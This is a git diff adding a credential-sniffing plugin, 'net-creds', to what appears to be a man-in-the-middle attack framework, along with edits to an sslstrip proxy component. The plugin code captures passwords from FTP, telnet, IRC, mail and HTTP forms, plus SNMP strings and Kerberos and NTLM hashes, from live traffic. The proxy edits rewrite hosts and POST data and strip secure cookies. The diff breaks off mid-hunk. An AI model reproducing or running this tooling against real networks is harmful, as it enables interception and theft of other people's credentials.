['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', + 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' + 'passwort', 'passwrd', 'wppassword', 'upasswd'] + + for login in userfields: + login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE) + if login_re: + user = login_re.group() + for passfield in passfields: + pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE) + if pass_re: + passwd = pass_re.group() + + if user and passwd: + return (user, passwd) + +def printer(src_ip_port, dst_ip_port, msg): + if dst_ip_port != None: + print_str = '[%s > %s] %s%s%s' % (src_ip_port, dst_ip_port, T, msg, W) + # All credentials will have dst_ip_port, URLs will not + + # Prevent identical outputs unless it's an HTTP search or POST load + skip = ['Searched ', 'POST load:'] + for s in skip: + if s not in msg: + if os.path.isfile('credentials.txt'): + with open('credentials.txt', 'r') as log: + contents = log.read() + if msg in contents: + return + + print print_str + + # Escape colors like whatweb has + ansi_escape = re.compile(r'\x1b[^m]*m') + print_str = ansi_escape.sub('', print_str) + + # Log the creds + logging.info(print_str) + else: + print_str = '[%s] %s' % (src_ip_port.split(':')[0], msg) + print print_str + +def main(args): + ##################### DEBUG ########################## + ## Hit Ctrl-C while program is running and you can see + ## whatever variable you want within the IPython cli + ## Don't forget to uncomment IPython in imports + #def signal_handler(signal, frame): + # embed() + ## sniff(iface=conf.iface, prn=pkt_parser, store=0) + # sys.exit() + #signal.signal(signal.SIGINT, signal_handler) + ###################################################### + + # Read packets from either pcap or interface + if args.pcap: + try: + for pkt in PcapReader(args.pcap): + pkt_parser(pkt) + except IOError: + exit('[-] Could not open %s' % args.pcap) + + else: + # Check for root + if geteuid(): + exit('[-] Please run as root') + + #Find the active interface + if args.interface: + conf.iface = args.interface + else: + conf.iface = iface_finder() + print '[*] Using interface:', conf.iface + + if args.filterip: + sniff(iface=conf.iface, prn=pkt_parser, filter="not host %s" % args.filterip, store=0) + else: + sniff(iface=conf.iface, prn=pkt_parser, store=0) + + +if __name__ == "__main__": + main(parse_args()) diff --git a/plugins/external/net-creds/netcreds.py b/plugins/external/net-creds/netcreds.py new file mode 100644 index 0000000..455ebf3 --- /dev/null +++ b/plugins/external/net-creds/netcreds.py @@ -0,0 +1,925 @@ +import logging +import binascii +import struct +import base64 +import threading +import binascii + +from core.logger import logger +from os import geteuid, devnull +from sys import exit +from urllib import unquote +from collections import OrderedDict +from BaseHTTPServer import BaseHTTPRequestHandler +from StringIO import StringIO +from urllib import unquote + +from scapy.all import * +conf.verb=0 + +formatter = logging.Formatter("%(asctime)s [Firelamb] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Firelamb", formatter) + +DN = open(devnull, 'w') +pkt_frag_loads = OrderedDict() +challenge_acks = OrderedDict() +mail_auths = OrderedDict() +telnet_stream = OrderedDict() + +# Regexs +authenticate_re = '(www-|proxy-)?authenticate' +authorization_re = '(www-|proxy-)?authorization' +ftp_user_re = r'USER (.+)\r\n' +ftp_pw_re = r'PASS (.+)\r\n' +irc_user_re = r'NICK (.+?)((\r)?\n|\s)' +irc_pw_re = r'NS IDENTIFY (.+)' +irc_pw_re2 = 'nickserv :identify (.+)' +mail_auth_re = '(\d+ )?(auth|authenticate) (login|plain)' +mail_auth_re1 = '(\d+ )?login ' +NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+' +NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' +# Prone to false+ but prefer that to false- +http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))' + +parsing_pcap = False + +class NetCreds: + + version = "1.0" + + def sniffer(self, interface, ip): + try: + sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(ip), store=0) + except Exception as e: + if "Interrupted system call" in e: pass + + def start(self, interface, ip): + t = threading.Thread(name='Firelamb', target=self.sniffer, args=(interface, ip,)) + t.setDaemon(True) + t.start() + + def parse_pcap(self, pcap): + parsing_pcap=True + + for pkt in PcapReader(pcap): + pkt_parser(pkt) + + sys.exit() + +def frag_remover(ack, load): + ''' + Keep the FILO OrderedDict of frag loads from getting too large + 3 points of limit: + Number of ip_ports < 50 + Number of acks per ip:port < 25 + Number of chars in load < 5000 + ''' + global pkt_frag_loads + + # Keep the number of IP:port mappings below 50 + # last=False pops the oldest item rather than the latest + while len(pkt_frag_loads) > 50: + pkt_frag_loads.popitem(last=False) + + # Loop through a deep copy dict but modify the original dict + copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) + for ip_port in copy_pkt_frag_loads: + if len(copy_pkt_frag_loads[ip_port]) > 0: + # Keep 25 ack:load's per ip:port + while len(copy_pkt_frag_loads[ip_port]) > 25: + pkt_frag_loads[ip_port].popitem(last=False) + + # Recopy the new dict to prevent KeyErrors for modifying dict in loop + copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) + for ip_port in copy_pkt_frag_loads: + # Keep the load less than 75,000 chars + for ack in copy_pkt_frag_loads[ip_port]: + # If load > 5000 chars, just keep the last 200 chars + if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: + pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:] + +def frag_joiner(ack, src_ip_port, load): + ''' + Keep a store of previous fragments in an OrderedDict named pkt_frag_loads + ''' + for ip_port in pkt_frag_loads: + if src_ip_port == ip_port: + if ack in pkt_frag_loads[src_ip_port]: + # Make pkt_frag_loads[src_ip_port][ack] = full load + old_load = pkt_frag_loads[src_ip_port][ack] + concat_load = old_load + load + return OrderedDict([(ack, concat_load)]) + + return OrderedDict([(ack, load)]) + +def pkt_parser(pkt): + ''' + Start parsing packets here + ''' + global pkt_frag_loads, mail_auths + + if pkt.haslayer(Raw): + load = pkt[Raw].load + + # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control + if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): + return + + # UDP + if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw): + + src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport) + dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport) + + # SNMP community strings + if pkt.haslayer(SNMP): + parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP]) + return + + # Kerberos over UDP + decoded = Decode_Ip_Packet(str(pkt)[14:]) + kerb_hash = ParseMSKerbv5UDP(decoded['data'][8:]) + if kerb_hash: + printer(src_ip_port, dst_ip_port, kerb_hash) + + # TCP + elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + + ack = str(pkt[TCP].ack) + seq = str(pkt[TCP].seq) + src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport) + dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport) + frag_remover(ack, load) + pkt_frag_loads[src_ip_port] = frag_joiner(ack, src_ip_port, load) + full_load = pkt_frag_loads[src_ip_port][ack] + + # Limit the packets we regex to increase efficiency + # 750 is a bit arbitrary but some SMTP auth success pkts + # are 500+ characters + if 0 < len(full_load) < 750: + + # FTP + ftp_creds = parse_ftp(full_load, dst_ip_port) + if len(ftp_creds) > 0: + for msg in ftp_creds: + printer(src_ip_port, dst_ip_port, msg) + return + + # Mail + mail_creds_found = mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq) + + # IRC + irc_creds = irc_logins(full_load, pkt) + if irc_creds != None: + printer(src_ip_port, dst_ip_port, irc_creds) + return + + # Telnet + telnet_logins(src_ip_port, dst_ip_port, load, ack, seq) + + # HTTP and other protocols that run on TCP + a raw load + other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, True) + +def telnet_logins(src_ip_port, dst_ip_port, load, ack, seq): + ''' + Catch telnet logins and passwords + ''' + global telnet_stream + + msg = None + + if src_ip_port in telnet_stream: + # Do a utf decode in case the client sends telnet options before their username + # No one would care to see that + try: + telnet_stream[src_ip_port] += load.decode('utf8') + except UnicodeDecodeError: + pass + + # \r or \r\n or \n terminate commands in telnet if my pcaps are to be believed + if '\r' in telnet_stream[src_ip_port] or '\n' in telnet_stream[src_ip_port]: + telnet_split = telnet_stream[src_ip_port].split(' ', 1) + cred_type = telnet_split[0] + value = telnet_split[1].replace('\r\n', '').replace('\r', '').replace('\n', '') + # Create msg, the return variable + msg = 'Telnet %s: %s' % (cred_type, value) + printer(src_ip_port, dst_ip_port, msg) + del telnet_stream[src_ip_port] + + # This part relies on the telnet packet ending in + # "login:", "password:", or "username:" and being <750 chars + # Haven't seen any false+ but this is pretty general + # might catch some eventually + # maybe use dissector.py telnet lib? + if len(telnet_stream) > 100: + telnet_stream.popitem(last=False) + mod_load = load.lower().strip() + if mod_load.endswith('username:') or mod_load.endswith('login:'): + telnet_stream[dst_ip_port] = 'username ' + elif mod_load.endswith('password:'): + telnet_stream[dst_ip_port] = 'password ' + +def ParseMSKerbv5TCP(Data): + ''' + Taken from Pcredz because I didn't want to spend the time doing this myself + I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel? + Maybe replace this eventually with the kerberos python lib + Parses Kerberosv5 hashes from packets + ''' + try: + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + except IndexError: + return + + if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack(' 1: + lines = full_load.count('\r\n') + if lines > 1: + full_load = full_load.split('\r\n')[-2] # -1 is '' + return full_load + +def parse_ftp(full_load, dst_ip_port): + ''' + Parse out FTP creds + ''' + print_strs = [] + + # Sometimes FTP packets double up on the authentication lines + # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n" + full_load = double_line_checker(full_load, 'USER') + + # FTP and POP potentially use idential client > server auth pkts + ftp_user = re.match(ftp_user_re, full_load) + ftp_pass = re.match(ftp_pw_re, full_load) + + if ftp_user: + msg1 = 'FTP User: %s' % ftp_user.group(1).strip() + print_strs.append(msg1) + if dst_ip_port[-3:] != ':21': + msg2 = 'Nonstandard FTP port, confirm the service that is running on it' + print_strs.append(msg2) + + elif ftp_pass: + msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip() + print_strs.append(msg1) + if dst_ip_port[-3:] != ':21': + msg2 = 'Nonstandard FTP port, confirm the service that is running on it' + print_strs.append(msg2) + + return print_strs + +def mail_decode(src_ip_port, dst_ip_port, mail_creds): + ''' + Decode base64 mail creds + ''' + try: + decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8') + decoded = decoded.replace('\x00', ' ') + except TypeError: + decoded = None + except UnicodeDecodeError as e: + decoded = None + + if decoded != None: + msg = 'Decoded: %s' % decoded + printer(src_ip_port, dst_ip_port, msg) + +def mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq): + ''' + Catch IMAP, POP, and SMTP logins + ''' + # Handle the first packet of mail authentication + # if the creds aren't in the first packet, save it in mail_auths + + # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...] + global mail_auths + found = False + + # Sometimes mail packets double up on the authentication lines + # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n" + full_load = double_line_checker(full_load, 'auth') + + # Client to server 2nd+ pkt + if src_ip_port in mail_auths: + if seq in mail_auths[src_ip_port][-1]: + stripped = full_load.strip('\r\n') + try: + decoded = base64.b64decode(stripped) + msg = 'Mail authentication: %s' % decoded + printer(src_ip_port, dst_ip_port, msg) + except TypeError: + pass + mail_auths[src_ip_port].append(ack) + + # Server responses to client + # seq always = last ack of tcp stream + elif dst_ip_port in mail_auths: + if seq in mail_auths[dst_ip_port][-1]: + # Look for any kind of auth failure or success + a_s = 'Authentication successful' + a_f = 'Authentication failed' + # SMTP auth was successful + if full_load.startswith('235') and 'auth' in full_load.lower(): + # Reversed the dst and src + printer(dst_ip_port, src_ip_port, a_s) + found = True + try: + del mail_auths[dst_ip_port] + except KeyError: + pass + # SMTP failed + elif full_load.startswith('535 '): + # Reversed the dst and src + printer(dst_ip_port, src_ip_port, a_f) + found = True + try: + del mail_auths[dst_ip_port] + except KeyError: + pass + # IMAP/POP/SMTP failed + elif ' fail' in full_load.lower(): + # Reversed the dst and src + printer(dst_ip_port, src_ip_port, a_f) + found = True + try: + del mail_auths[dst_ip_port] + except KeyError: + pass + # IMAP auth success + elif ' OK [' in full_load: + # Reversed the dst and src + printer(dst_ip_port, src_ip_port, a_s) + found = True + try: + del mail_auths[dst_ip_port] + except KeyError: + pass + + # Pkt was not an auth pass/fail so its just a normal server ack + # that it got the client's first auth pkt + else: + if len(mail_auths) > 100: + mail_auths.popitem(last=False) + mail_auths[dst_ip_port].append(ack) + + # Client to server but it's a new TCP seq + # This handles most POP/IMAP/SMTP logins but there's at least one edge case + else: + mail_auth_search = re.match(mail_auth_re, full_load, re.IGNORECASE) + if mail_auth_search != None: + auth_msg = full_load + # IMAP uses the number at the beginning + if mail_auth_search.group(1) != None: + auth_msg = auth_msg.split()[1:] + else: + auth_msg = auth_msg.split() + # Check if its a pkt like AUTH PLAIN dvcmQxIQ== + # rather than just an AUTH PLAIN + if len(auth_msg) > 2: + mail_creds = ' '.join(auth_msg[2:]) + msg = 'Mail authentication: %s' % mail_creds + printer(src_ip_port, dst_ip_port, msg) + + mail_decode(src_ip_port, dst_ip_port, mail_creds) + try: + del mail_auths[src_ip_port] + except KeyError: + pass + found = True + + # Mail auth regex was found and src_ip_port is not in mail_auths + # Pkt was just the initial auth cmd, next pkt from client will hold creds + if len(mail_auths) > 100: + mail_auths.popitem(last=False) + mail_auths[src_ip_port] = [ack] + + # At least 1 mail login style doesn't fit in the original regex: + # 1 login "username" "password" + # This also catches FTP authentication! + # 230 Login successful. + elif re.match(mail_auth_re1, full_load, re.IGNORECASE) != None: + + # FTP authentication failures trigger this + #if full_load.lower().startswith('530 login'): + # return + + auth_msg = full_load + auth_msg = auth_msg.split() + if 2 < len(auth_msg) < 5: + mail_creds = ' '.join(auth_msg[2:]) + msg = 'Authentication: %s' % mail_creds + printer(src_ip_port, dst_ip_port, msg) + mail_decode(src_ip_port, dst_ip_port, mail_creds) + found = True + + if found == True: + return True + +def irc_logins(full_load, pkt): + ''' + Find IRC logins + ''' + user_search = re.match(irc_user_re, full_load) + pass_search = re.match(irc_pw_re, full_load) + pass_search2 = re.search(irc_pw_re2, full_load.lower()) + if user_search: + msg = 'IRC nick: %s' % user_search.group(1) + return msg + if pass_search: + msg = 'IRC pass: %s' % pass_search.group(1) + return msg + if pass_search2: + msg = 'IRC pass: %s' % pass_search2.group(1) + return msg + +def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose): + ''' + Pull out pertinent info from the parsed HTTP packet data + ''' + user_passwd = None + http_url_req = None + method = None + http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD '] + http_line, header_lines, body = parse_http_load(full_load, http_methods) + headers = headers_to_dict(header_lines) + if 'host' in headers: + host = headers['host'] + else: + host = '' + + if parsing_pcap is True: + + if http_line != None: + method, path = parse_http_line(http_line, http_methods) + http_url_req = get_http_url(method, host, path, headers) + if http_url_req != None: + if verbose == False: + if len(http_url_req) > 98: + http_url_req = http_url_req[:99] + '...' + printer(src_ip_port, None, http_url_req) + + # Print search terms + searched = get_http_searches(http_url_req, body, host) + if searched: + printer(src_ip_port, dst_ip_port, searched) + + # Print user/pwds + if body != '': + user_passwd = get_login_pass(body) + if user_passwd != None: + try: + http_user = user_passwd[0].decode('utf8') + http_pass = user_passwd[1].decode('utf8') + # Set a limit on how long they can be prevent false+ + if len(http_user) > 75 or len(http_pass) > 75: + return + user_msg = 'HTTP username: %s' % http_user + printer(src_ip_port, dst_ip_port, user_msg) + pass_msg = 'HTTP password: %s' % http_pass + printer(src_ip_port, dst_ip_port, pass_msg) + except UnicodeDecodeError: + pass + + # Print POST loads + # ocsp is a common SSL post load that's never interesting + if method == 'POST' and 'ocsp.' not in host: + try: + if verbose == False and len(body) > 99: + # If it can't decode to utf8 we're probably not interested in it + msg = 'POST load: %s...' % body[:99].encode('utf8') + else: + msg = 'POST load: %s' % body.encode('utf8') + printer(src_ip_port, None, msg) + except UnicodeDecodeError: + pass + + # Kerberos over TCP + decoded = Decode_Ip_Packet(str(pkt)[14:]) + kerb_hash = ParseMSKerbv5TCP(decoded['data'][20:]) + if kerb_hash: + printer(src_ip_port, dst_ip_port, kerb_hash) + + # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL) + NTLMSSP2 = re.search(NTLMSSP2_re, full_load, re.DOTALL) + NTLMSSP3 = re.search(NTLMSSP3_re, full_load, re.DOTALL) + if NTLMSSP2: + parse_ntlm_chal(NTLMSSP2.group(), ack) + if NTLMSSP3: + ntlm_resp_found = parse_ntlm_resp(NTLMSSP3.group(), seq) + if ntlm_resp_found != None: + printer(src_ip_port, dst_ip_port, ntlm_resp_found) + + # Look for authentication headers + if len(headers) == 0: + authenticate_header = None + authorization_header = None + for header in headers: + authenticate_header = re.match(authenticate_re, header) + authorization_header = re.match(authorization_re, header) + if authenticate_header or authorization_header: + break + + if authorization_header or authenticate_header: + # NETNTLM + netntlm_found = parse_netntlm(authenticate_header, authorization_header, headers, ack, seq) + if netntlm_found != None: + printer(src_ip_port, dst_ip_port, netntlm_found) + + # Basic Auth + parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header) + +def get_http_searches(http_url_req, body, host): + ''' + Find search terms from URLs. Prone to false positives but rather err on that side than false negatives + search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command + ''' + false_pos = ['i.stack.imgur.com'] + + searched = None + if http_url_req != None: + searched = re.search(http_search_re, http_url_req, re.IGNORECASE) + if searched == None: + searched = re.search(http_search_re, body, re.IGNORECASE) + + if searched != None and host not in false_pos: + searched = searched.group(3) + # Eliminate some false+ + try: + # if it doesn't decode to utf8 it's probably not user input + searched = searched.decode('utf8') + except UnicodeDecodeError: + return + # some add sites trigger this function with single digits + if searched in [str(num) for num in range(0,10)]: + return + # nobody's making >100 character searches + if len(searched) > 100: + return + msg = 'Searched %s: %s' % (host, unquote(searched.encode('utf8')).replace('+', ' ')) + return msg + +def parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header): + ''' + Parse basic authentication over HTTP + ''' + if authorization_header: + # authorization_header sometimes is triggered by failed ftp + try: + header_val = headers[authorization_header.group()] + except KeyError: + return + b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE) + if b64_auth_re != None: + basic_auth_b64 = b64_auth_re.group(1) + basic_auth_creds = base64.decodestring(basic_auth_b64) + msg = 'Basic Authentication: %s' % basic_auth_creds + printer(src_ip_port, dst_ip_port, msg) + +def parse_netntlm(authenticate_header, authorization_header, headers, ack, seq): + ''' + Parse NTLM hashes out + ''' + # Type 2 challenge from server + if authenticate_header != None: + chal_header = authenticate_header.group() + parse_netntlm_chal(headers, chal_header, ack) + + # Type 3 response from client + elif authorization_header != None: + resp_header = authorization_header.group() + msg = parse_netntlm_resp_msg(headers, resp_header, seq) + if msg != None: + return msg + +def parse_snmp(src_ip_port, dst_ip_port, snmp_layer): + ''' + Parse out the SNMP version and community string + ''' + if type(snmp_layer.community.val) == str: + ver = snmp_layer.version.val + msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val) + printer(src_ip_port, dst_ip_port, msg) + return True + +def get_http_url(method, host, path, headers): + ''' + Get the HTTP method + URL from requests + ''' + if method != None and path != None: + + # Make sure the path doesn't repeat the host header + if host != '' and not re.match('(http(s)?://)?'+host, path): + http_url_req = method + ' ' + host + path + else: + http_url_req = method + ' ' + path + + http_url_req = url_filter(http_url_req) + + return http_url_req + +def headers_to_dict(header_lines): + ''' + Convert the list of header lines into a dictionary + ''' + headers = {} + # Incomprehensible list comprehension flattens list of headers + # that are each split at ': ' + # http://stackoverflow.com/a/406296 + headers_list = [x for line in header_lines for x in line.split(': ', 1)] + headers_dict = dict(zip(headers_list[0::2], headers_list[1::2])) + # Make the header key (like "Content-Length") lowercase + for header in headers_dict: + headers[header.lower()] = headers_dict[header] + + return headers + +def parse_http_line(http_line, http_methods): + ''' + Parse the header with the HTTP method in it + ''' + http_line_split = http_line.split() + method = '' + path = '' + + # Accounts for pcap files that might start with a fragment + # so the first line might be just text data + if len(http_line_split) > 1: + method = http_line_split[0] + path = http_line_split[1] + + # This check exists because responses are much different than requests e.g.: + # HTTP/1.1 407 Proxy Authentication Required ( Access is denied. ) + # Add a space to method because there's a space in http_methods items + # to avoid false+ + if method+' ' not in http_methods: + method = None + path = None + + return method, path + +def parse_http_load(full_load, http_methods): + ''' + Split the raw load into list of headers and body string + ''' + try: + headers, body = full_load.split("\r\n\r\n", 1) + except ValueError: + headers = full_load + body = '' + header_lines = headers.split("\r\n") + + # Pkts may just contain hex data and no headers in which case we'll + # still want to parse them for usernames and password + http_line = get_http_line(header_lines, http_methods) + if not http_line: + headers = '' + body = full_load + + header_lines = [line for line in header_lines if line != http_line] + + return http_line, header_lines, body + +def get_http_line(header_lines, http_methods): + ''' + Get the header with the http command + ''' + for header in header_lines: + for method in http_methods: + # / is the only char I can think of that's in every http_line + # Shortest valid: "GET /", add check for "/"? + if header.startswith(method): + http_line = header + return http_line + +def parse_netntlm_chal(headers, chal_header, ack): + ''' + Parse the netntlm server challenge + https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py + ''' + try: + header_val2 = headers[chal_header] + except KeyError: + return + header_val2 = header_val2.split(' ', 1) + # The header value can either start with NTLM or Negotiate + if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate': + msg2 = header_val2[1] + msg2 = base64.decodestring(msg2) + parse_ntlm_chal(ack, msg2) + +def parse_ntlm_chal(msg2, ack): + ''' + Parse server challenge + ''' + global challenge_acks + + Signature = msg2[0:8] + try: + msg_type = struct.unpack(" 50: + challenge_acks.popitem(last=False) + challenge_acks[ack] = ServerChallenge + +def parse_netntlm_resp_msg(headers, resp_header, seq): + ''' + Parse the client response to the challenge + ''' + try: + header_val3 = headers[resp_header] + except KeyError: + return + header_val3 = header_val3.split(' ', 1) + + # The header value can either start with NTLM or Negotiate + if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate': + try: + msg3 = base64.decodestring(header_val3[1]) + except binascii.Error: + return + return parse_ntlm_resp(msg3, seq) + +def parse_ntlm_resp(msg3, seq): + ''' + Parse the 3rd msg in NTLM handshake + Thanks to psychomario + ''' + + if seq in challenge_acks: + challenge = challenge_acks[seq] + else: + challenge = 'CHALLENGE NOT FOUND' + + if len(msg3) > 43: + # Thx to psychomario for below + lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44]) + lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen]) + nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen]) + domain = msg3[domoff:domoff+domlen].replace("\0", "") + user = msg3[useroff:useroff+userlen].replace("\0", "") + # Original check by psychomario, might be incorrect? + #if lmhash != "0"*48: #NTLMv1 + if ntlen == 24: #NTLMv1 + msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge) + return msg + elif ntlen > 60: #NTLMv2 + msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:]) + return msg + +def url_filter(http_url_req): + ''' + Filter out the common but uninteresting URLs + ''' + if http_url_req: + d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff'] + if any(http_url_req.endswith(i) for i in d): + return + + return http_url_req + +def get_login_pass(body): + ''' + Regex out logins and passwords from a string + ''' + user = None + passwd = None + + # Taken mainly from Pcredz by Laurent Gaffie + userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', + 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', + 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', + 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', + 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in'] + passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', + 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' + 'passwort', 'passwrd', 'wppassword', 'upasswd'] + + for login in userfields: + login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE) + if login_re: + user = login_re.group() + for passfield in passfields: + pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE) + if pass_re: + passwd = pass_re.group() + + if user and passwd: + return (user, passwd) + +def printer(src_ip_port, dst_ip_port, msg): + if dst_ip_port != None: + print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg) + # All credentials will have dst_ip_port, URLs will not + + log.info("{}".format(print_str)) + else: + print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg) + log.info("{}".format(print_str)) diff --git a/plugins/external/net-creds/requirements.txt b/plugins/external/net-creds/requirements.txt new file mode 100644 index 0000000..19e98bf --- /dev/null +++ b/plugins/external/net-creds/requirements.txt @@ -0,0 +1,2 @@ +scapy==2.3.1 +wsgiref==0.1.2 diff --git a/plugins/external/sergio_proxy/sslstrip/ClientRequest.py b/plugins/external/sergio_proxy/sslstrip/ClientRequest.py index e79b698..4772e53 100644 --- a/plugins/external/sergio_proxy/sslstrip/ClientRequest.py +++ b/plugins/external/sergio_proxy/sslstrip/ClientRequest.py @@ -16,7 +16,7 @@ # USA # -import urlparse, logging, os, sys, random +import urlparse, logging, os, sys, random, re from twisted.web.http import Request from twisted.web.http import HTTPChannel @@ -34,34 +34,55 @@ from CookieCleaner import CookieCleaner from DnsCache import DnsCache -class ClientRequest(Request): +def NUEVO_LOG(str): + return + + +class ClientRequest(Request): ''' This class represents incoming client requests and is essentially where the magic begins. Here we remove the client headers we dont like, and then respond with either favicon spoofing, session denial, or proxy through HTTP or SSL to the server. - ''' - + ''' + logging = None + def __init__(self, channel, queued, reactor=reactor): Request.__init__(self, channel, queued) - self.reactor = reactor - self.urlMonitor = URLMonitor.getInstance() + self.reactor = reactor + self.urlMonitor = URLMonitor.getInstance() self.cookieCleaner = CookieCleaner.getInstance() - self.dnsCache = DnsCache.getInstance() -# self.uniqueId = random.randint(0, 10000) + self.dnsCache = DnsCache.getInstance() + + # self.uniqueId = random.randint(0, 10000) def cleanHeaders(self): headers = self.getAllHeaders().copy() - if 'accept-encoding' in headers: del headers['accept-encoding'] + if 'referer' in headers: + real = self.urlMonitor.real + if len(real) > 0: + dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) + headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start():x.end()]]), headers['referer']) + if 'if-modified-since' in headers: del headers['if-modified-since'] if 'cache-control' in headers: del headers['cache-control'] + if 'if-none-match' in headers: + del headers['if-none-match'] + + if 'host' in headers: + host = self.urlMonitor.URLgetRealHost("%s" % headers['host']) + self.logging.emit("Modifing HOST header: %s -> %s" % (headers['host'], host)) + headers['host'] = host + # headers['securelink'] = '1' + self.setHeader('Host', host) + return headers def getPathFromUri(self): @@ -69,7 +90,7 @@ def getPathFromUri(self): index = self.uri.find('/', 7) return self.uri[index:] - return self.uri + return self.uri def getPathToLockIcon(self): if os.path.exists("lock.ico"): return "lock.ico" @@ -79,70 +100,90 @@ def getPathToLockIcon(self): if os.path.exists(scriptPath): return scriptPath - logging.warning("Error: Could not find lock.ico") - return "lock.ico" + self.logging.emit("Error: Could not find lock.ico") + return "lock.ico" - def handleHostResolvedSuccess(self, address): - logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) - host = self.getHeader("host") - headers = self.cleanHeaders() - client = self.getClientIP() - path = self.getPathFromUri() + def save_req(self, lfile, str): + f = open(lfile, "a") + f.write(str) + f.close() - self.content.seek(0,0) - postData = self.content.read() - url = 'http://' + host + path + def handleHostResolvedSuccess(self, address): + headers = self.cleanHeaders() + # for header in headers: + # self.logging.emit("HEADER %s = %s",header,headers[header]) + self.logging.emit("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) + lhost = self.getHeader("host").lower() + host = self.urlMonitor.URLgetRealHost("%s" % lhost) + client = self.getClientIP() + path = self.getPathFromUri() + self.content.seek(0, 0) + postData = self.content.read() + real = self.urlMonitor.real + patchDict = self.urlMonitor.patchDict + + if len(real) > 0: + dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) + path = dregex.sub(lambda x: str(real[x.string[x.start():x.end()]]), path) + postData = dregex.sub(lambda x: str(real[x.string[x.start():x.end()]]), postData) + if len(patchDict) > 0: + dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) + postData = dregex.sub(lambda x: str(patchDict[x.string[x.start():x.end()]]), postData) + + url = 'http://' + host + path + headers['content-length'] = "%d" % len(postData) self.dnsCache.cacheResolution(host, address) - if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") + self.logging.emit("Sending expired cookies...") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") + self.logging.emit("Sending spoofed favicon response...") self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url)): - 